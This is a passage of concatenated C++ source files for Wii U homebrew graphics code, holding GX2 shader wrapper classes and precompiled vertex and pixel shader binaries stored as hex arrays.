can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef PIXEL_SHADER_H #define PIXEL_SHADER_H #include "Shader.h" class PixelShader : public Shader { public: PixelShader() : pixelShader((GX2PixelShader*) memalign(0x40, sizeof(GX2PixelShader))) { if(pixelShader) { memset(pixelShader, 0, sizeof(GX2PixelShader)); pixelShader->shader_mode = GX2_SHADER_MODE_UNIFORM_REGISTER; } } virtual ~PixelShader() { if(pixelShader) { if(pixelShader->shader_data) free(pixelShader->shader_data); for(u32 i = 0; i < pixelShader->uniform_blocks_count; i++) free((void*)pixelShader->uniform_block[i].name); if(pixelShader->uniform_block) free((void*)pixelShader->uniform_block); for(u32 i = 0; i < pixelShader->uniform_vars_count; i++) free((void*)pixelShader->uniform_var[i].name); if(pixelShader->uniform_var) free((void*)pixelShader->uniform_var); if(pixelShader->initial_value) free((void*)pixelShader->initial_value); for(u32 i = 0; i < pixelShader->sampler_vars_count; i++) free((void*)pixelShader->sampler_var[i].name); if(pixelShader->sampler_var) free((void*)pixelShader->sampler_var); if(pixelShader->loops_data) free((void*)pixelShader->loops_data); free(pixelShader); } } void setProgram(const u32 * program, const u32 & programSize, const u32 * regs, const u32 & regsSize) { if(!pixelShader) return; //! this must be moved into an area where the graphic engine has access to and must be aligned to 0x100 pixelShader->shader_size = programSize; pixelShader->shader_data = memalign(GX2_SHADER_ALIGNMENT, pixelShader->shader_size); if(pixelShader->shader_data) { memcpy(pixelShader->shader_data, program, pixelShader->shader_size); GX2Invalidate(GX2_INVALIDATE_CPU_SHADER, pixelShader->shader_data, pixelShader->shader_size); } memcpy(pixelShader->regs, regs, regsSize); } void addUniformVar(const GX2UniformVar & var) { if(!pixelShader) return; u32 idx = pixelShader->uniform_vars_count; GX2UniformVar* newVar = (GX2UniformVar*) malloc((pixelShader->uniform_vars_count + 1) * sizeof(GX2UniformVar)); if(newVar) { if(pixelShader->uniform_var) { memcpy(newVar, pixelShader->uniform_var, pixelShader->uniform_vars_count * sizeof(GX2UniformVar)); free(pixelShader->uniform_var); } pixelShader->uniform_var = newVar; memcpy(pixelShader->uniform_var + idx, &var, sizeof(GX2UniformVar)); pixelShader->uniform_var[idx].name = (char*) malloc(strlen(var.name) + 1); strcpy((char*)pixelShader->uniform_var[idx].name, var.name); pixelShader->uniform_vars_count++; } } void addSamplerVar(const GX2SamplerVar & var) { if(!pixelShader) return; u32 idx = pixelShader->sampler_vars_count; GX2SamplerVar* newVar = (GX2SamplerVar*) malloc((pixelShader->sampler_vars_count + 1) * sizeof(GX2SamplerVar)); if(newVar) { if(pixelShader->sampler_var) { memcpy(newVar, pixelShader->sampler_var, pixelShader->sampler_vars_count * sizeof(GX2SamplerVar)); free(pixelShader->sampler_var); } pixelShader->sampler_var = newVar; memcpy(pixelShader->sampler_var + idx, &var, sizeof(GX2SamplerVar)); pixelShader->sampler_var[idx].name = (char*) malloc(strlen(var.name) + 1); strcpy((char*)pixelShader->sampler_var[idx].name, var.name); pixelShader->sampler_vars_count++; } } GX2PixelShader * getPixelShader() const { return pixelShader; } void setShader(void) const { GX2SetPixelShader(pixelShader); } static inline void setUniformReg(u32 location, u32 size, const void * reg) { GX2SetPixelUniformReg(location, size, reg); } protected: GX2PixelShader *pixelShader; }; #endif // PIXEL_SHADER_H ================================================ FILE: src/video/shaders/Shader.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef SHADER_H_ #define SHADER_H_ #include "glm/glm.hpp" #include "glm/gtc/matrix_transform.hpp" #include "dynamic_libs/gx2_functions.h" #include "utils/utils.h" class Shader { protected: Shader() {} virtual ~Shader() {} public: static const u16 cuVertexAttrSize = sizeof(f32) * 3; static const u16 cuTexCoordAttrSize = sizeof(f32) * 2; static const u16 cuColorAttrSize = sizeof(u8) * 4; static void setLineWidth(const f32 & width) { GX2SetLineWidth(width); } static void draw(s32 primitive = GX2_PRIMITIVE_QUADS, u32 vtxCount = 4) { switch(primitive) { default: case GX2_PRIMITIVE_QUADS: { GX2DrawEx(GX2_PRIMITIVE_QUADS, vtxCount, 0, 1); break; } case GX2_PRIMITIVE_TRIANGLES: { GX2DrawEx(GX2_PRIMITIVE_TRIANGLES, vtxCount, 0, 1); break; } case GX2_PRIMITIVE_TRIANGLE_FAN: { GX2DrawEx(GX2_PRIMITIVE_TRIANGLE_FAN, vtxCount, 0, 1); break; } case GX2_PRIMITIVE_LINES: { GX2DrawEx(GX2_PRIMITIVE_LINES, vtxCount, 0, 1); break; } case GX2_PRIMITIVE_LINE_STRIP: { GX2DrawEx(GX2_PRIMITIVE_LINE_STRIP, vtxCount, 0, 1); break; } //! TODO: add other primitives later }; } }; #endif // SHADER_H_ ================================================ FILE: src/video/shaders/Shader3D.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "Shader3D.h" static const u32 cpVertexShaderProgram[] = { 0x00000000,0x00008009,0x20000000,0x0000e4a1, 0x00c00100,0x88048093,0x01c00300,0x98060014, 0x9a000000,0x000058a0,0x3c200200,0x88062094, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x0765a101,0x9000e00f,0x0761a101,0x9000e02f, 0x01081f00,0x900ce040,0x01041f00,0x900ce060, 0x01001f80,0x900ce000,0x02001f00,0x900c6000, 0x02041f00,0x900c6020,0x076da101,0x9000e04f, 0x0769a181,0x9000e06f,0x0745a101,0x9000c00f, 0x0741a181,0x9000c02f,0x074da101,0x9000c04f, 0x0749a181,0x9000c06f,0x0bc9a000,0x7f00e20f, 0x0bc92080,0x7f04e22f,0x0bc9a001,0x7f08e24f, 0x0bc92081,0x7f0ce26f,0x0725a101,0x9000a00f, 0x0721a181,0x9000a02f,0x072da101,0x9000a04f, 0x0729a181,0x9000a06f,0x0ac9a000,0x7e00c20f, 0x0ac92080,0x7e04c22f,0x0ac9a001,0x7e08c24f, 0x0ac92081,0x7e0cc26f,0x0ba5a000,0x7f00e20f, 0x0ba52080,0x7f04e22f,0x0ba5a001,0x7f08e24f, 0x0ba52081,0x7f0ce26f,0x08eda000,0x9000800f, 0x08ed2080,0x9000802f,0x08eda001,0x9000804f, 0x08ed2081,0x9000806f,0x09c9a000,0x7d00a20f, 0x09c92080,0x7d04a22f,0x09c9a001,0x7d08a24f, 0x09c92081,0x7d0ca26f,0x0aa5a000,0x7e00c20f, 0x0aa52080,0x7e04c22f,0x0aa5a001,0x7e08c24f, 0x0aa52081,0x7e0cc26f,0x0b81a000,0x7f004200, 0x0b812080,0x7f044220,0x0b81a001,0x7f082240, 0x0b812081,0x7f0c0260,0x08c9a000,0x7c00820f, 0x08c92080,0x7c04822f,0x08c9a001,0x7c08824f, 0x08c92081,0x7c0c826f,0x09a5a000,0x7d00a20f, 0x09a52080,0x7d04a22f,0x09a5a001,0x7d08a24f, 0x09a52081,0x7d0ca26f,0x0a81a000,0x7e000200, 0x0a812080,0x7e040220,0x0a81a001,0x7e080240, 0x0a812081,0x7e0c2260,0x0240a001,0x9000c00f, 0x0244a001,0x9000c02f,0x0148a001,0x9000c04f, 0x004ca001,0x9000c06f,0x0264a081,0x9000e02f, 0x0260a001,0x9000e00f,0x0224a001,0x90002020, 0x0168a001,0x9000e04f,0x006ca001,0x9000e06f, 0x0220a081,0x90002000,0x08a5a000,0x7c00820f, 0x08a52080,0x7c04822f,0x08a5a001,0x7c08824f, 0x08a52081,0x7c0c826f,0x0981a000,0x7d008200, 0x09812080,0x7d048220,0x0981a001,0x7d084240, 0x09812081,0x7d0c4260,0x02090000,0x7e00c20f, 0x02098000,0x7e04c22f,0x0128a001,0x9000a04f, 0x002ca001,0x9000c06f,0x02298081,0x7e0caa6f, 0x03090000,0x7f00e20f,0x03098000,0x7f04e22f, 0x02090001,0x7e08f64f,0x03298001,0x7f0ce26f, 0x03090081,0x7f08ca4f,0x0881a000,0x7c00c200, 0x08812080,0x7c04e220,0x0881a001,0x7c08a240, 0x08812081,0x7c0c8260,0x0200a001,0x9000800f, 0x0204a001,0x9000802f,0x0108a001,0x9000804f, 0x000ca001,0x9000806f,0x01098080,0x0104aa2f, 0x01090000,0x0100a20f,0x02858000,0x7e04c22f, 0x01090001,0x7d08a24f,0x01298081,0x7e0cc26f, 0x02850000,0x7e00f60f,0x03858000,0x7f04622f, 0x02450001,0x7f08e24f,0x02458001,0x7d0ca26f, 0x03850080,0x7f00ca0f,0x00090000,0x7c004200, 0x00098000,0x7c04b220,0x03450001,0x7e08c24f, 0x03458001,0x7f0ce26f,0x03e18080,0xfe042620, 0x01850000,0x7d00a200,0x01858000,0x7d04622f, 0x00090001,0x7c086240,0x00298081,0x7c0c0260, 0x02c10000,0x7f000200,0x02e18000,0x7e040620, 0x01450001,0x7d088240,0x01458001,0x7e0c6260, 0x01e18080,0xfe04c620,0x03c10000,0x7e002200, 0x03818001,0x7f0c4220,0x02a10001,0x7f081640, 0x02818001,0x7d0c3660,0x03a10081,0x7e082a40, 0x07080000,0x0100c20f,0x07088000,0x0104622f, 0x00458001,0x000cea4f,0x07288081,0x0204f66f, 0x00850000,0x0200620f,0x00858000,0x05046a2f, 0x07080001,0x0108c24f,0x01818001,0x030c726f, 0x07cc8080,0xfe04c22f,0x01c10000,0x0500660f, 0x00e18000,0xfe04622f,0x00450001,0x0308624f, 0x07cc9f01,0x7f0ce26f,0x00c10080,0xfe00e60f, 0x07cc1f00,0x7e00660f,0x00a10001,0xfe08c22f, 0x01a10001,0x0408624f,0x00818001,0x7f086a6f, 0x07c09f80,0x7e048200,0x07e00f00,0xfe008220, 0x07cc1f01,0x7e086a4f,0x07c09f81,0x7f0c8240, 0x07c08f80,0xfe088260,0x2c34800d,0xe3b4f15e, 0x7642ed30,0x7408600d }; static const u32 cpVertexShaderRegs[] = { 0x00000108,0x00000000,0x00000002,0x00000001, 0xffff0001,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0x00000000,0xfffffffc, 0x00000002,0x00000000,0x00000001,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x00000000,0x0000000e,0x00000010 }; static const u32 cPixelShaderProgram[] = { 0x20000000,0x000008a4,0x03000000,0x01004085, 0x23000000,0x000044a8,0x35000000,0x000000a4, 0x06000000,0x01004085,0x36000000,0x00002ca8, 0x50000000,0x0000c080,0x42000000,0x00001ca0, 0x00800000,0x88062094,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0xfd001f80,0x900c0060,0x0000803f,0x00000000, 0x02011f80,0x8c110000,0xf8402000,0x9006a00f, 0x02552001,0x00000020,0x01248082,0x80020060, 0xfe3c1f00,0x1000e04f,0xfe041f80,0x1033c00f, 0xfe482081,0x80060020,0xfee40f81,0x0289e30f, 0x02c51f80,0x80060060,0xfeec0f80,0x0285634f, 0xfec80f80,0x80000060,0xfe4ca081,0x9000e04f, 0xfe281f00,0x80060000,0xf8c01f81,0x9006e02f, 0xfee00f81,0xfd80636f,0x0000803f,0x00000000, 0x7fc49f81,0xf880e34f,0xfe381f80,0x00000000, 0x7de00f81,0xfe800360,0x01011f80,0x8c100000, 0x00a81f00,0x9000e02f,0x00000082,0x80020060, 0x00002040,0x00000000,0xfeac9f80,0xfd00624f, 0x3333333f,0x00002040,0xfee88f80,0x0101620f, 0x00cc1f80,0x9000e06f,0xf8c09f01,0x80060020, 0xfe2c1f80,0x9006e04f,0xfee48f81,0xf880630f, 0x7fc81f80,0xfd800360,0x0000803f,0x00000000, 0x000ca001,0x80000000,0x00091f00,0x800c0020, 0x00051f00,0x800c0040,0x00011f80,0x800c0060, 0xfe2c0000,0x90002000,0xfe288000,0x90002020, 0xfe240001,0x90002040,0xfe208081,0x90002060, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x10000100,0x01100df0,0x00008010,0xecdfea0d, 0x99720984,0x041cab0d,0xa28a9ccd,0x95d199a5 }; static const u32 cPixelShaderRegs[] = { 0x00000102,0x00000002,0x14000002,0x00000000, 0x00000002,0x00000100,0x00000101,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x0000000f,0x00000001,0x00000010, 0x00000000 }; Shader3D * Shader3D::shaderInstance = NULL; Shader3D::Shader3D() : vertexShader(cuAttributeCount) { //! create pixel shader pixelShader.setProgram(cPixelShaderProgram, sizeof(cPixelShaderProgram), cPixelShaderRegs, sizeof(cPixelShaderRegs)); colorIntensityLocation = 0; fadeDistanceLocation = 4; fadeOutLocation = 8; pixelShader.addUniformVar((GX2UniformVar){ "unf_color_intensity", GX2_VAR_TYPE_VEC4, 1, colorIntensityLocation, 0xffffffff }); pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_distance", GX2_VAR_TYPE_FLOAT, 1, fadeDistanceLocation, 0xffffffff }); pixelShader.addUniformVar((GX2UniformVar){ "unf_fade_out_alpha", GX2_VAR_TYPE_VEC4, 1, fadeOutLocation, 0xffffffff }); samplerLocation = 0; pixelShader.addSamplerVar((GX2SamplerVar){ "sampl_texture", GX2_SAMPLER_TYPE_2D, samplerLocation }); //! create vertex shader vertexShader.setProgram(cpVertexShaderProgram, sizeof(cpVertexShaderProgram), cpVertexShaderRegs, sizeof(cpVertexShaderRegs)); modelMatrixLocation = 0; projectionMatrixLocation = 16; viewMatrixLocation = 32; vertexShader.addUniformVar((GX2UniformVar){ "modelMatrix", GX2_VAR_TYPE_MAT4, 1, modelMatrixLocation, 0xffffffff }); vertexShader.addUniformVar((GX2UniformVar){ "viewMatrix", GX2_VAR_TYPE_MAT4, 1, projectionMatrixLocation, 0xffffffff }); vertexShader.addUniformVar((GX2UniformVar){ "projectionMatrix", GX2_VAR_TYPE_MAT4, 1, viewMatrixLocation, 0xffffffff }); positionLocation = 0; texCoordLocation = 1; vertexShader.addAttribVar((GX2AttribVar){ "attr_position", GX2_VAR_TYPE_VEC3, 0, positionLocation }); vertexShader.addAttribVar((GX2AttribVar){ "attr_texture_coord", GX2_VAR_TYPE_VEC2, 0, texCoordLocation }); //! setup attribute streams GX2InitAttribStream(vertexShader.getAttributeBuffer(0), positionLocation, 0, 0, GX2_ATTRIB_FORMAT_32_32_32_FLOAT); GX2InitAttribStream(vertexShader.getAttributeBuffer(1), texCoordLocation, 1, 0, GX2_ATTRIB_FORMAT_32_32_FLOAT); //! create fetch shader fetchShader = new FetchShader(vertexShader.getAttributeBuffer(), vertexShader.getAttributesCount()); //! initialize default quad texture vertexes as those are very commonly used //! model vertex has to be align and cannot be in unknown regions for GX2 like 0xBCAE1000 posVtxs = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciPositionVtxsSize); texCoords = (f32*)memalign(GX2_VERTEX_BUFFER_ALIGNMENT, ciTexCoordsVtxsSize); //! position vertex structure and texture coordinate vertex structure int i = 0; posVtxs[i++] = -1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; posVtxs[i++] = -1.0f; posVtxs[i++] = 1.0f; posVtxs[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, posVtxs, ciPositionVtxsSize); i = 0; texCoords[i++] = 0.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 1.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; texCoords[i++] = 0.0f; GX2Invalidate(GX2_INVALIDATE_CPU_ATTRIB_BUFFER, texCoords, ciTexCoordsVtxsSize); } Shader3D::~Shader3D() { if(posVtxs) { free(posVtxs); posVtxs = NULL; } if(texCoords) { free(texCoords); texCoords = NULL; } delete fetchShader; fetchShader = NULL; } ================================================ FILE: src/video/shaders/Shader3D.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef SHADER_3D_H_ #define SHADER_3D_H_ #include "VertexShader.h" #include "PixelShader.h" #include "FetchShader.h" class Shader3D : public Shader { private: Shader3D(); virtual ~Shader3D(); static Shader3D * shaderInstance; static const unsigned char cuAttributeCount = 2; static const u32 ciPositionVtxsSize = 4 * cuVertexAttrSize; static const u32 ciTexCoordsVtxsSize = 4 * cuTexCoordAttrSize; FetchShader *fetchShader; VertexShader vertexShader; PixelShader pixelShader; f32 *posVtxs; f32 *texCoords; u32 modelMatrixLocation; u32 viewMatrixLocation; u32 projectionMatrixLocation; u32 positionLocation; u32 texCoordLocation; u32 colorIntensityLocation; u32 fadeDistanceLocation; u32 fadeOutLocation; u32 samplerLocation; public: static Shader3D *instance() { if(!shaderInstance) { shaderInstance = new Shader3D(); } return shaderInstance; } static void destroyInstance() { if(shaderInstance) { delete shaderInstance; shaderInstance = NULL; } } void setShaders(void) const { fetchShader->setShader(); vertexShader.setShader(); pixelShader.setShader(); } void setAttributeBuffer(const u32 & vtxCount = 0, const f32 * posVtxs_in = NULL, const f32 * texCoords_in = NULL) const { if(posVtxs_in && texCoords_in && vtxCount) { VertexShader::setAttributeBuffer(0, vtxCount * cuVertexAttrSize, cuVertexAttrSize, posVtxs_in); VertexShader::setAttributeBuffer(1, vtxCount * cuTexCoordAttrSize, cuTexCoordAttrSize, texCoords_in); } else { //! use default quad vertex and texture coordinates if nothing is passed VertexShader::setAttributeBuffer(0, ciPositionVtxsSize, cuVertexAttrSize, posVtxs); VertexShader::setAttributeBuffer(1, ciTexCoordsVtxsSize, cuTexCoordAttrSize, texCoords); } } void setProjectionMtx(const glm::mat4 & mtx) { VertexShader::setUniformReg(projectionMatrixLocation, 16, &mtx[0][0]); } void setViewMtx(const glm::mat4 & mtx) { VertexShader::setUniformReg(viewMatrixLocation, 16, &mtx[0][0]); } void setModelViewMtx(const glm::mat4 & mtx) { VertexShader::setUniformReg(modelMatrixLocation, 16, &mtx[0][0]); } void setColorIntensity(const glm::vec4 & vec) { PixelShader::setUniformReg(colorIntensityLocation, 4, &vec[0]); } void setAlphaFadeOut(const glm::vec4 & vec) { PixelShader::setUniformReg(fadeOutLocation, 4, &vec[0]); } void setDistanceFadeOut(const float & value) { PixelShader::setUniformReg(fadeDistanceLocation, 4, &value); } void setTextureAndSampler(const GX2Texture *texture, const GX2Sampler *sampler) const { GX2SetPixelTexture(texture, samplerLocation); GX2SetPixelSampler(sampler, samplerLocation); } }; #endif // SHADER_3D_H_ ================================================ FILE: src/video/shaders/ShaderFractalColor.cpp ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #include #include #include "ShaderFractalColor.h" static const u32 cpVertexShaderProgram[] = { 0x00000000,0x00008009,0x20000000,0x0000eca1, 0x00c00000,0x88068093,0x01400200,0x9a048013, 0x9c000000,0x000044a0,0x3c200000,0x88060094, 0x02400000,0x88062014,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x0765a101,0x9000e00f,0x0761a101,0x9000e02f, 0x03001f00,0x900c8040,0x03041f80,0x900c8060, 0x076da101,0x9000e04f,0x0769a181,0x9000e06f, 0x0745a101,0x9000c00f,0x0741a181,0x9000c02f, 0x074da101,0x9000c04f,0x0749a181,0x9000c06f, 0x0bc9a000,0x7f00e20f,0x0bc92080,0x7f04e22f, 0x0bc9a001,0x7f08e24f,0x0bc92081,0x7f0ce26f, 0x0725a101,0x9000a00f,0x0721a181,0x9000a02f, 0x072da101,0x9000a04f,0x0729a181,0x9000a06f, 0x0ac9a000,0x7e00c20f,0x0ac92080,0x7e04c22f, 0x0ac9a001,0x7e08c24f,0x0ac92081,0x7e0cc26f, 0x0ba5a000,0x7f00e20f,0x0ba52080,0x7f04e22f, 0x0ba5a001,0x7f08e24f,0x0ba52081,0x7f0ce26f, 0x08eda000,0x9000800f,0x08ed2080,0x9000802f, 0x08eda001,0x9000804f,0x08ed2081,0x9000806f, 0x09c9a000,0x7d00a20f,0x09c92080,0x7d04a22f, 0x09c9a001,0x7d08a24f,0x09c92081,0x7d0ca26f, 0x0aa5a000,0x7e00c20f,0x0aa52080,0x7e04c22f, 0x0aa5a001,0x7e08c24f,0x0aa52081,0x7e0cc26f, 0x0b81a000,0x7f006200,0x0b812080,0x7f046220, 0x0b81a001,0x7f080240,0x0b812081,0x7f0c0260, 0x08c9a000,0x7c00820f,0x08c92080,0x7c04822f, 0x08c9a001,0x7c08824f,0x08c92081,0x7c0c826f, 0x09a5a000,0x7d00a20f,0x09a52080,0x7d04a22f, 0x09a5a001,0x7d08a24f,0x09a52081,0x7d0ca26f, 0x0a81a000,0x7e008200,0x0a812080,0x7e048220, 0x0a81a001,0x7e086240,0x0a812081,0x7e0c4260, 0x0340a001,0x9000c00f,0x0344a001,0x9000c02f, 0x0048a001,0x9000c04f,0x004ca001,0x9000c06f, 0x0364a081,0x9000e02f,0x0360a001,0x9000e00f, 0x0324a001,0x90000020,0x0068a001,0x9000e04f, 0x006ca001,0x9000e06f,0x0320a081,0x90000000, 0x08a5a000,0x7c00820f,0x08a52080,0x7c04822f, 0x08a5a001,0x7c08824f,0x08a52081,0x7c0c826f, 0x0981a000,0x7d00a200,0x09812080,0x7d04a220, 0x0981a001,0x7d08a240,0x09812081,0x7d0c6260, 0x02890000,0x7e00c20f,0x02898000,0x7e04c22f, 0x0028a001,0x9000a04f,0x002ca001,0x9000c06f, 0x02498081,0x7e0caa6f,0x03890000,0x7f00e20f, 0x03898000,0x7f04e22f,0x02690001,0x7e08f64f, 0x03498001,0x7f0ce26f,0x03690081,0x7f08ca4f, 0x0881a000,0x7c00c200,0x08812080,0x7c04c220, 0x0881a001,0x7c08e240,0x08812081,0x7c0ca260, 0x0300a001,0x9000800f,0x0304a001,0x9000802f, 0x0008a001,0x9000804f,0x000ca001,0x9000806f, 0x01898080,0x0004aa2f,0x01890000,0x0000a20f, 0x02a58000,0x7e04c22f,0x01690001,0x7d08a24f, 0x01498081,0x7e0cc26f,0x02a50000,0x7e00f60f, 0x03a58000,0x7f04622f,0x02a50001,0x7f08e24f, 0x02658001,0x7d0ca26f,0x03a50080,0x7f00ca0f, 0x00890000,0x7c00820f,0x00898000,0x7c049220, 0x03a50001,0x7e08c24f,0x03658001,0x7f0ce26f, 0x03c18080,0xfe04862f,0x01a50000,0x7d008200, 0x01a58000,0x7d04622f,0x00690001,0x7c086240, 0x00498081,0x7c0c4260,0x02c10000,0x7f00e20f, 0x02c18000,0x7e04c62f,0x01a50001,0x7d080240, 0x01658001,0x7e0c0260,0x01c18080,0xfe040620, 0x03c10000,0x7e00620f,0x03a18001,0x7f0c622f, 0x02e10001,0x7f08764f,0x02a18001,0x7d0c766f, 0x03e10081,0x7e084a0f,0x02e80f00,0xfe000e00, 0x02c88f00,0x7c046220,0x02c81f01,0xff00c240, 0x02c89f01,0xfe04c260,0x00a50080,0x7c00aa00, 0x01c10000,0x0400760f,0x00a58000,0x0404622f, 0x00a50001,0x0308e24f,0x00658001,0x020c626f, 0x00c10080,0x0500ea0f,0x02c41f00,0x0000620f, 0x00c18000,0xfe04c22f,0x01e10001,0x0008624f, 0x01a18001,0x000c666f,0x00a18081,0xfe0ce66f, 0x00e10001,0x7f08620f,0x02048000,0x03046a2f, 0x02c41f01,0x06086a4f,0x02c49f01,0x060c6a6f, 0x02e00f80,0xfe000220,0x02c08f00,0xfe040200, 0x02e08f01,0xfe0c0240,0x02c01f80,0xfe080260, 0x8aa480ad,0x2bfc5ca6,0xb5e05b5b,0xd48dc71c }; static const u32 cpVertexShaderRegs[] = { 0x00000108,0x00000000,0x00000004,0x00000001, 0xff000201,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0xffffffff,0xffffffff, 0xffffffff,0xffffffff,0x00000000,0xfffffff8, 0x00000003,0x00000001,0x00000000,0x00000002, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x000000ff,0x000000ff,0x000000ff, 0x000000ff,0x00000000,0x0000000e,0x00000010 }; static const u32 cpPixelShaderProgram[] = { 0x20000000,0x000008a4,0x04000000,0x01004085, 0x23000000,0x0000eca1,0x9f000000,0x0000e0a8, 0xd8000000,0x000000a4,0x07000000,0x01004085, 0xd9000000,0x000048a8,0xec000000,0x000000a4, 0x0a000000,0x01004085,0xed000000,0x000050a8, 0x02010000,0x000030a0,0x00000000,0x88062094, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0x00000000,0x00000000,0x00000000,0x00000000, 0xfd001f80,0x900c0060,0x0000803f,0x00000000, 0x03011f80,0x8c210000,0xfd001f00,0x900c0000, 0xfd001f00,0x900ca02f,0x00000002,0x80020040, 0x00048002,0x80020060,0xf8001f80,0x900cc04f, 0x0000803f,0x00000000,0xfea81f00,0x9000e00f, 0xfeac1f00,0x9000e02f,0xf8001f00,0x900c804f, 